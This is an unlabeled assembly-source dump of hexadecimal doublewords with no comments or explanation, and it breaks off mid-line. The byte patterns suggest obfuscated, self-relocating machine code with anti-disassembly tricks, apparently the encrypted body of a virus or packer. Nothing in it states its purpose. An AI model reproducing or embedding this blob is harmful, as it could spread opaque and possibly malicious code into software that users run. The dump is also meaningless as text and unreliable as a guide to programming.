89CAFFEAh dd 95FF61C9h, 5E71A1Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 3AC35242h, 0C7F6811Bh, 8B304DD6h, 0E70271B5h dd 0D88B9005h, 32D9BD89h, 0BD8305E7h, 5E73301h, 42840F00h dd 50000000h, 49B52960h, 8B05E722h, 0E713C185h, 8B5E6105h dd 0E731E9B5h, 2AEE905h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0E54F87C3h, 312FE51Fh dd 0E70D1985h, 6ADF8C05h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 174BC357h, 6880FBCh dd 81000000h, 0F7E906D6h, 0C7F7660Eh, 850F0004h, 250h dd 28B0F60h, 0B3000000h, 6D950968h, 6105E720h, 3A58C681h dd 0BF0BDCh, 60000000h, 2CA18D89h, 815305E7h, 0BCF03BE3h dd 8D615E39h, 0EADC609Dh, 5E905h, 0A7230000h, 50CCAEAFh dd 1C89F28Bh, 5B58B24h, 6405E726h, 35FFh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 93DA7FC3h, 258964FDh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0AEC35040h dd 7185B434h, 6AC48B58h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 10E4C356h, 59B5093Ch dd 0CD05E723h, 6A00EB01h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 414CC357h, 6A607F77h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0B3BC352h, 6268088Bh, 3DB58B94h, 6405E706h dd 58Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0F7F6CC3h, 0CD059B35h, 2559B509h dd 0CE905E7h, 0AB000000h, 2DA4B251h, 68E7872Fh, 830D978Bh dd 6A04C4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 681616C3h, 0B58B8AD0h, 5E72C4Dh, 840FC00Bh dd 0D8h, 3BFAD681h, 95895242h, 5E71A15h, 4DFABD8Dh, 6A05E7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 6324A9C3h, 1DBAE510h, 8523600Fh, 5E72649h, 5E9h, 46032D00h dd 0B861C2C0h, 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0CEC35141h, 0DF2183Fh, 10DF681h, 81663E99h, 0FF0105C6h dd 0E6BE66E7h, 5C8B5791h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh dd 0B0h, 0B88383h, 5F020000h, 0E9C3C033h, 11h, 0DC416323h dd 0DDDD3640h, 0AB5278B2h, 0F1C4F982h, 53006A3Bh, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 4556E474h, 37A0BE66h, 25E9CA2Bh, 60FFFFF6h, 8BD6BF0Fh dd 0E705D5B5h, 0B5896105h, 5E7135Dh, 6AC18Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 219D75C3h dd 0DE9h, 0E81A0000h, 27C63317h, 36E8B32Bh, 4EBDEB5h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F0C35242h dd 0B37E9BB8h, 0E96E52CDh, 0Bh, 12B0EC73h, 4C0B3ECBh, 6AECF8CAh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 8616C357h, 64A044C4h, 0FD430C0h, 68Bh, 0F58D8900h dd 5705E700h, 0CE1BD31h, 8D5E05E7h, 0E71AF985h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 301F4AEBh, 24048950h, 13DD9501h, 6A05E7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CDC35545h, 73029C6h dd 0BED03910h, 0D098C55h, 0ED9B58Bh, 6A05E7h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6DC35343h, 2CFD9589h dd 57F905E7h, 39B52960h, 8B05E72Ch, 0E716698Dh, 8D5E6105h dd 0EADEC085h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0A9BCFD88h, 0A8F470AFh dd 6A05C083h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 3154C353h, 0E72D4DBDh, 0F509005h dd 0B82h, 8B666000h, 0F5250DEh, 61585A31h, 0BF66FC90h dd 6A00BCh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0C4C35141h, 6E1BA6E3h, 0B2CFC069h, 66006A02h, 0BD88E781h dd 2C595FFh, 0F38B05E7h, 95149D8Dh, 0D3FF05EAh, 4EB968BEh dd 0E185FF05h, 0F05E71Ch, 85h, 93AE900h, 0E80000h, 5D000000h dd 0DECAED81h, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 2FEAE1C3h, 43E0213Ah, 0B694260h dd 0E70421B5h, 75BD8105h, 0D005E72Ah, 0F000007h, 1C986h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 51DB39DDh, 0E9EAFEC2h, 0Fh, 995B00EFh, 3A8D9A66h dd 998BDA07h, 89B77436h, 0E70DE985h, 0E59D8B05h, 0F05E71Ah dd 68Bh, 0A5B58B00h, 8105E706h, 100E3h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 1C5958FBh, 0EFE955E6h, 0DB0B2A09h, 0E1850Fh, 0BF660000h dd 0BD83A482h, 5EADD07h, 31840F00h, 8B000000h, 0E721DDB5h dd 0DCE905h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0C7691FC3h, 56FE9656h, 0F98A27AFh dd 0DD0785C7h, 105EAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 264AA0C3h, 42B0BCEEh dd 8D89ED19h, 5E72ED5h, 5E8h, 43A69B00h, 7E8DE0Eh, 0D1000000h dd 20FB675h, 0B58994A7h, 5E70E59h, 5FE95F5Fh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 5E52C357h, 6708A0F8h, 0BA8A9792h, 6E8h, 0E0997D00h dd 0E89ABE0Bh, 0Bh, 0E635B0E5h, 69CA5FDCh, 8BE7CE84h, 0E73211B5h dd 0C75E5F05h, 0EADD0785h, 5, 8E900h, 0B5810000h, 876E51CFh dd 9D8D1BBCh, 5E71AE5h, 26059D01h, 238105E7h, 0FFFFFEFFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C9C35343h dd 0B57F3250h, 669A895Dh, 10E905h, 581C0000h, 8F71D240h dd 0C18CBFC4h, 4BEAE540h, 0BF6611A1h, 8C66CD53h, 51006ADBh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0E3A54313h, 53162391h, 0C6BF6600h, 4C3F622h, 6F840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 95FF22C3h, 5E72CD9h, 2C999D89h, 0E89005E7h dd 5, 0BD4696EEh, 5FFB8B61h, 0EE950h, 0E7D60000h, 495C2231h dd 172CFAE2h, 0D1D48B67h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 89CEAC82h dd 0E713499Dh, 463E905h, 0B5230000h, 5E702F1h, 6A00B0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 199199C3h, 0CEF34252h, 0F601854h, 71BBC6BFh, 61663A59h dd 9D8970E6h, 5E72271h, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0C87D46C3h, 0E21B5AE4h dd 0B60F5F57h, 0F8BF0FD8h, 6BAh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 216A6840h dd 0E45C0F30h, 0C1C38BBEh, 6A04E8h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 3340B8C3h dd 0E71325BDh, 0E2F76605h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 41C35747h, 0E5CD9A6h, 0DD5D2141h, 6AD82B32h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0B1E9C350h, 2F41BD2Bh, 509305E7h, 10E852h dd 1BB00000h, 51A42680h, 1BFA4BD5h, 9EDEA242h, 0FB8B554Bh dd 0BE310F5Fh, 6069825h, 9350585Ah, 22299D89h, 0B5FF05E7h dd 5E72A75h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0F5C35545h, 8E779A70h, 808F0D98h, 160F860h, 0E72761BDh dd 0FF616105h, 0E71A1D95h, 3DBD8B05h, 8905E70Ch, 0E705B985h dd 6A00B005h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 1DEAC357h, 579B58Bh, 70E605E7h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2FC35343h dd 0F3AC5D4h, 71E4DBC6h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 13C35646h, 78DEB417h, 613CDEEEh, 273830Fh dd 0DF810000h, 62AD390h, 6AD8B60Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B108C357h dd 0E747BEAEh, 0BA5462A8h, 6, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 3DC35040h, 299E6EF6h, 0E721398Dh dd 7A46BF05h, 0C38B72FAh, 0E8C1FE8Bh, 50006A04h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0B93B8C39h, 7B0123CAh, 10E9E4h, 0B9F50000h, 1F6C1A3Ch dd 0F1080A22h, 6F4817B7h, 0F76641C1h, 55006AE2h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0ADEC1EF7h, 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0DA354CC3h, 0A1583351h, 60603060h dd 0C59B531h, 9D8B05E7h, 5E70B7Dh, 6A586161h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0F675C353h, 0D82BFB36h, 157880Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0F6D2AFC3h dd 8BF986F5h, 0E71601BDh, 7B905h, 0BD890000h, 5E721ADh dd 0F00C183h, 681h, 61B58900h, 3B05E724h, 0E860FD9h, 66000001h dd 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 1DD64FC3h, 1DFA3D73h, 0F04C1F6h, 0BB84h dd 99958900h, 0FF05E708h, 0E72CD995h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 6007FC1Ah, 77D9D8Bh, 5B6105E7h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 95C35747h, 0EDB589ECh dd 2B05E730h, 0F88B66C3h, 8343Dh, 55860F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0AB00C356h, 9033A958h, 79D19EC4h, 50E9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0CC7F33FEh, 9FA65F28h, 0DE81ED8Dh, 694D56DAh dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0BC8E33C3h, 8B3CDED0h, 8BC38BF3h, 0C7F08BD8h dd 0E726D185h, 0F6137D05h, 6AC08B72h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 30EDC351h dd 883E769Bh, 0E1B4A0F4h, 2A75BD81h, 7D005E7h, 850F0000h dd 4Ch, 825B503h, 85FF05E7h, 5E72A75h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0A8C35141h, 45BD8BEAh, 0E905E732h dd 12h, 8D8AF0A3h, 0CD65CCAAh, 0FCBC9E4h, 2290E1C1h, 0BD8BB645h dd 5E71539h, 2A75B5FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0EA12E9C3h, 1A1D95FFh dd 8ABF05E7h, 903EB972h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0D4C35343h, 87C9F86Dh, 339A7F91h, 0E70869BDh dd 0FF96005h, 680h, 0F5858900h, 6105E705h, 7B1BBF66h, 0C798D89h dd 0BD8B05E7h, 5E70A7Dh, 118D8B60h, 0F05E72Dh, 28Ah, 612EB100h dd 38B0Fh, 0B70F0000h, 0DE960F3h, 0B9000000h, 9DEB8C09h dd 0C2C7E587h, 6FB8D4E4h, 0DE8B6660h, 0DE8h, 46487800h dd 4C40120Fh, 794730E9h, 6659FA66h, 6161F18Bh, 965B503h dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 1BD07FC3h, 6CEBBDE0h, 5D9D291Eh, 0E905E70Ch dd 13h, 0BE5C394h, 85B1218Dh, 0FBBDF06Ch, 0DC24C466h, 89188F95h dd 0E727CD8Dh, 38A0F05h, 66000000h, 6AFE8Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 33C872C3h dd 8B0F3581h, 12h, 0E8FFB70Fh, 8, 0A69FB9D6h, 0A712945Fh dd 0FFE95EF8h, 6AFFFFF6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 8A0FC352h, 89979402h dd 0E70BD98Dh, 9D896005h, 5E72D9Dh, 0F6D88166h, 0A5B5898Fh dd 6105E713h, 13E8C18Bh, 4000000h, 1759F5EBh, 0B756B66Ah dd 0A9D7A8E2h, 81B57BE0h, 0FC60BC27h, 2F7D9533h, 5E6105E7h dd 4EBh, 0B0BF0000h, 89052B60h, 0E72311B5h, 0F9858D05h dd 6A05E71Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0D0ECC350h, 9589106Eh, 5E71619h dd 90FB8B66h, 50FE8B66h, 12E9h, 6DCF8100h, 0C8D57C51h dd 488483CCh, 0ABB0DB52h, 90C006A8h, 3FC68166h, 6A006A25h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0E03EC357h, 4C6FE86h, 6ADCD3B3h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0AE0522D0h, 0AA4D12CAh, 0EE858D0Ch, 6A05EAE9h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 2705C353h, 0AC0E21A0h, 59858957h, 5E05E723h, 15F1BD8Bh dd 0C08305E7h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0AB8FBE26h, 665090A9h dd 90C578BEh, 26AD8D31h, 0BD8905E7h, 5E70F31h, 0BE66006Ah dd 6A4588h, 0A1858957h, 5F05E706h, 2C595FFh, 6A05E7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 92D1E9C3h, 31F08B51h, 0E719C585h, 149D8D05h, 8B05EA95h dd 0E730D1BDh, 6AD3FF05h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 402BC356h, 8C0FAFh dd 0FF000000h, 0E71CE185h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 25DC147Bh dd 11E88534h, 2B000000h, 802DC786h, 233C3078h, 1A358CD3h dd 16DD598Bh, 9659D09h, 0E95F05E7h, 8A3h, 0E8h, 0ED815D00h dd 5EAE9F8h, 31DB58Bh, 0BD8105E7h, 5E72A75h, 7D0h, 144860Fh dd 830F0000h, 18h, 0FE8h, 0B87DF600h, 9D07D9Eh, 4536B865h dd 0DF09C42h, 5EF18B66h, 26B59D8Bh, 8D8905E7h, 5E700E5h dd 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 81C01BC3h, 17F02684h, 9D890DCBh dd 5E73245h, 850FDB0Bh, 0B6h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 4DC35545h, 0DF75C08Fh, 0FDB2A7Bh dd 0BD83F9B7h, 5EAE825h, 4E840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0E802C356h, 0E5BD23EFh, 0E905E730h, 73h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0BC35747h, 6268088Bh dd 2DF33794h, 2585C754h, 105EAE8h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0A3AAC352h, 0E9CFFAD7h, 1Fh, 1529B50Bh, 85C705E7h, 5EAE825h dd 0 dd 0AE9h, 0E2A47900h, 5D97DB47h, 8DC18223h, 0E726B59Dh dd 35BD8B05h, 8105E727h, 0FFFEFF23h, 8C66F9FFh, 0D68166DBh dd 0C3F6F0D9h, 0C2840F04h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0B95EC352h dd 2FB300D7h, 2C6762EDh, 9F8B70Fh, 0E70A75BDh, 85036005h dd 5E7090Dh, 1C7D8D89h, 0FF6105E7h, 0E72CD995h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0B00790ECh, 0F1A7E527h, 850F7134h, 6, 0C699529h, 0E95005E7h dd 14h, 0FD3E65DFh, 6E7DA442h, 2AEE6CDBh, 8881DCD0h, 856AA4C1h dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 6664C352h, 0FE9BFh, 943E0000h dd 0F59E8063h, 0EFF1509Eh, 3B74DA1h, 417E990h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 4F794EC3h, 0AE8A7h, 951F0000h, 0B9C48100h, 6C9FBF4Dh dd 6870Fh, 0BD8B0000h, 5E716F5h, 6A00B05Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E2FEC356h dd 0ADF17EE9h, 8BC62AECh, 0E71545B5h, 5DB58B05h, 0E605E72Ah dd 56006A70h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 85898C52h, 5E7064Dh, 0B70F71E4h, 0D8B60FF6h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 57C35040h dd 4CA8C124h, 43F36D51h, 0C1BD8B45h, 0BA05E723h, 6, 0F28BC38Bh dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0C548C353h, 0F7661D16h, 2BF28BE2h dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 387EFEEEh, 640DB737h, 0FB8B525Fh, 800F935Eh dd 5, 0C716FBBEh, 0F98B5078h, 53006A93h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 6218CF86h dd 29F974E4h, 0E7094DB5h, 75B5FF05h, 0BF05E72Ah, 23F3C185h dd 1A1D95FFh, 0F78B05E7h, 759B589h, 0B005E7h, 816670E6h dd 0E94E97F6h, 0Dh, 1925DB2Dh, 0BBD8540Eh, 1C09B2Ah, 6A71E47Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 30D2C353h, 8E87956h, 5000000h, 8DE953F5h dd 66389587h, 3C5EF98Bh, 52830F61h, 6A000002h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6619C356h, 66A0A2BFh, 0F3486BFh, 6BAD8B6h, 0E9000000h dd 9, 0BDC79601h, 64C65EB8h, 0E8C38B9Eh, 7, 66EF60C6h dd 0E92A6800h, 5, 19B418A1h, 0E8C15F5Fh, 57006A04h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 66C3DACFh, 665384BEh, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0E03E1EC3h, 0EBBF6686h dd 2BF08B23h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8E91A5Ch, 8B000000h, 90737A60h, 58E28784h dd 2BEDB58Bh, 0D82B05E7h, 177880Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 13710EC3h dd 11E9h, 0B2793B00h, 1BF4111Ch, 0C5B0D5F4h, 0C96696CEh dd 7B96255h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0D743C352h, 13ECE49Ah dd 0C1837C19h, 0B58B5000h, 5E72A69h, 0FD93B5Eh, 10886h dd 0B8DF8100h, 6621709Bh, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 3B9DF7C3h, 2669B58Bh dd 816605E7h, 0F69242EEh, 840F04C1h, 0C8h, 58F0Fh, 81660000h dd 0FF40A7F6h, 0E72CD995h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0CCAA8D8Ah dd 6A5B65h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0EFE05DC3h, 199376E6h, 6AC32Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 7FA5C7C3h dd 0D436394Eh, 0BF66E712h, 343D0264h, 0F000008h, 3F86h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0AB6F6F5h, 0F519E44h, 8Ah, 8D236000h, 5E71711h dd 0FE961h, 66600000h, 66608EBAh, 6156F6BAh, 0BF0FC08Bh dd 8BC38BFBh, 8E8D8h, 0C2B90000h, 0EFA82AD6h, 0B58B6A9Eh dd 5E7080Dh, 0E585C75Fh, 5F05E71Ah, 6A1EC7CFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0FD88C352h, 70AFA9BCh, 2D09A8F4h, 8B66F38Bh, 0E9C08BF2h dd 10h, 0AF8FE2DCh, 0B16C3446h, 294C006Ah, 1E0E834Eh, 2A75BD81h dd 7D005E7h, 850F0000h, 37h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 34C35040h, 0E063341Bh, 0A5BD8B75h dd 6605E72Eh, 0FFC822BFh, 0E72A7585h, 0BE665105h, 0FF5F2566h dd 0E72A75B5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 25875D13h, 0ACF9DA0Dh dd 1D95FFEFh, 6A05E71Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 7497C357h, 0C0F6026h dd 0F97A667h, 0C80h, 6820F00h, 89000000h, 0E72F15B5h, 2D953105h dd 9005E706h, 6E8h, 0A5A90200h, 0BFEBABA1h, 33775A72h dd 0B660525Eh, 840F0Ah, 0E8000000h, 10h, 7E0AF023h, 32062AACh dd 4A046F85h, 0A94557F2h, 5E9615Fh, 0C0000000h, 0AA67908Ch dd 0C985295Fh, 6605E730h, 6A725CBFh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BB5C352h dd 0E704EDB5h, 65B58B05h, 6A05E72Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 58CEC357h dd 19B67732h, 870FF28Bh, 6, 1571BD8Bh, 6A05E7h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 1BE089C3h, 0B9BD0BD0h, 5605E70Dh, 2CB5B58Bh, 0F85F05E7h dd 85BD8956h, 0F905E712h, 57006A5Fh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 413D1890h dd 59805476h, 0A75B58Bh, 860F05E7h, 11h, 6860Fh, 0B58B0000h dd 5E730F9h, 8AF78166h, 0F77AE9A3h, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BC2C8C3h dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 8D31CF5Dh, 5E7014Dh, 14E9h, 497DA100h, 359D2101h dd 10568921h, 151AB71Eh, 759850Ch, 4EBB3h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 2E58C353h, 0D3BF6630h, 76EF81C3h, 6A77EBB6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0AEE9C356h, 58F38A6h, 29B58949h, 8D05E702h, 0E71AF985h dd 6DBD8B05h, 5005E72Dh dd 0FE8h, 0E7201F00h, 0CC41F32Bh, 3E63AA4Ah, 0E4F2B9D3h dd 2404895Fh, 8E9h, 65D24C00h, 0CC7D62B3h, 4810F26h, 66000000h dd 6A1F7ABEh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 967DDCCCh, 8B0F4D4Bh, 20h, 14E8h dd 1191C100h, 3B00397h, 626023DBh, 0C065E11Ch, 2BD81EBh dd 0E1BD337Dh, 5F05E71Bh, 8DFC006Ah, 0EAF4C385h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0CDD0A128h, 83BC7121h, 8D8905C0h, 5E70725h, 0AE950h dd 37D50000h, 2241F1CAh, 1F9F280Ch, 0F240489h, 68Eh, 4DB58B00h dd 0F05E701h, 88Fh, 0BD895000h, 5E700D9h, 6A006A5Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0A34C353h, 84A1AEAh, 91BD8BB1h, 6A05E709h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 33C29A6Dh, 0E70E41BDh, 0C595FF05h, 6A05E702h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 4A4CC353h, 9D8D942Ah, 5EA9514h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0CFC35545h, 1397E1DEh, 0BF66F91Ah dd 0D3FF5AEAh, 1CE185FFh, 0B16005E7h, 1858B2Fh, 6105E72Dh dd 83FE9h, 0E800h, 815D0000h, 0EAF4CDEDh, 0F8BF0F05h, 2A75BD81h dd 7D005E7h, 860F0000h, 18Eh, 1F830Fh, 810F0000h, 19h dd 13E8h, 0D72ADF00h, 0B8D88BBBh, 0F49E7133h, 9239E2EEh dd 286B9709h, 519D8B5Eh, 2B05E726h, 0E726E5B5h, 0E38105h dd 0F000001h, 0C89h, 68F0F00h, 8B000000h, 0E71BADB5h, 0FDB0B05h dd 0B285h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 9D0953E4h, 5E70731h, 11E9h, 5AB48300h dd 2083480Bh, 928469Bh, 3877F4ADh, 0BD837F46h, 5EAF2D6h dd 4E840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0F988C352h, 58E9F08Bh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0EBFBC356h, 8AA81F72h, 89932555h dd 0E70B7D9Dh, 0D685C705h, 105EAF2h, 0E9000000h, 5, 0A498BF70h dd 15E993h, 81660000h, 0C7CEA7E6h, 0EAF2D685h, 5, 0B1B58B00h dd 8D05E721h, 0E726519Dh, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 71145E16h dd 68B84739h, 0EABE66F2h, 0FF238187h, 6AFFFFFEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 36DC350h, 0BE8h, 7FE40B00h, 7CC35D77h, 10303C2Fh, 14E9h dd 69523600h, 3CD67CFCh, 844FC0E9h, 83DD7464h, 0CC8354E7h dd 8C665F6Ch, 4C3F6DBh, 52840Fh, 0E9520000h, 14h, 49636BD0h dd 0EEB7027Fh, 8842B903h, 515F89C8h, 5CEE061Eh, 0D995FF5Fh dd 0E805E72Ch, 5, 3E91644Fh, 0A5B58B71h, 5F05E703h, 9A4EBF90h dd 0E9502190h, 7, 87E1EE05h, 90E93EB9h, 6810Fh, 95890000h dd 5E72D51h, 3D2E9h, 698D3100h, 0B005E712h, 4DBD0900h dd 0E605E70Eh, 0FBB70F70h, 0BE971E4h, 9000000h, 173FF3h dd 3FB884F3h, 